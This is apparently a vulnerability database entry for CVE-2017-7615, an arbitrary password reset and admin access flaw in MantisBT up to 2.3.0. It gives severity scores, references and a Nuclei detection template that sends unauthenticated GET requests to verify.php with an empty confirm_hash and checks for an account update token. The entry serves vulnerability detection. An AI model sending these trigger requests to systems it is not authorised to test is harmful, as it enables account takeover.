MantisBT <=2.30 - Arbitrary Password Reset/Admin Access

2020-09-2418:34:36

ProjectDiscovery

github.com

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.8 High

AI Score

Confidence

High

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.974 High

EPSS

Percentile

99.9%

JSON

MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.

id: CVE-2017-7615

# THIS TEMPLATE IS ONLY FOR DETECTING
# To carry out further attacks, please see reference[2] below.
# This template works by guessing user ID.
# MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].
info:
  name: MantisBT <=2.30 - Arbitrary Password Reset/Admin Access
  author: bp0lr,dwisiswant0
  severity: high
  description: |
    MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized password resets and unauthorized administrative access.
  remediation: |
    Upgrade MantisBT to a version higher than 2.30 to mitigate this vulnerability.
  reference:
    - https://sourceforge.net/projects/mantisbt/files/mantis-stable/
    - http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
    - https://www.exploit-db.com/exploits/41890
    - http://www.openwall.com/lists/oss-security/2017/04/16/2
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7615
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-7615
    cwe-id: CWE-640
    epss-score: 0.97404
    epss-percentile: 0.99917
    cpe: cpe:2.3:a:mantisbt:mantisbt:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    vendor: mantisbt
    product: mantisbt
  tags: cve,cve2017,mantisbt,unauth,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/verify.php?id=1&confirm_hash="
      - "{{BaseURL}}/mantis/verify.php?id=1&confirm_hash="
      - "{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash="
      - "{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash="
      - "{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<input type=\"hidden\" name=\"account_update_token\" value=\"([a-zA-Z0-9_-]+)\""

      - type: status
        status:
          - 200
# digest: 490a0046304402200b9e716101bb9f2757f476a63cfce5c17b9dd089a0ba767e03f491ecace39fb6022045455d4187be15412d331dd2b561c4328cdde8acc3c42a3de9f9ceb407376d9b:922c64590222798bb761d5b6d8e72950